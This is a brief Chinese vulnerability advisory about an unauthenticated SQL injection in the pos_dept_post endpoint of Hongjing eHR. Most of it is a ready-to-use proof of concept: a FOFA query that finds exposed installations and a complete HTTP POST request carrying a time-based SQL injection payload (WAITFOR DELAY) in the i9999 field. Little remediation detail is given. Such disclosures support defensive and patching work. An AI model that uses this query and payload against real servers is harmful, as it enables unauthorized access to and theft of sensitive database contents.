

# 宏景eHR pos\_dept\_post SQL注入漏洞

## 漏洞描述

宏景eHR pos\_dept\_post 接口处存在SQL注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息。

影响范围

宏景eHR

## 漏洞状态

| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|------|-------|-------|------|
| 是    | 已公开   | 已公开   | 已知   |

## 风险等级

| 维度    | 评价 |
|-------|----|
| 威胁等级  | 高危 |
| 影响面   | 广  |
| 攻击者价值 | 中  |
| 利用难度  | 低  |

## 漏洞复现

FOFA: app="HJSOFT-HCM"

POC/EXP:

POST /templates/attestation/.../pos/roleinfo/pos\_dept\_post HTTP/1.1

Host: 127.0.0.1:8881

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/70.0.3538.77 Safari/537.36

x-auth-token: d9eaeacd5de1008fd43f737c853dcbcb

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

usertable=h00&i9999=1';WAITFOR DELAY '0:0:5'--+



# 修复方案

官方已发布修复方法及时联系厂商。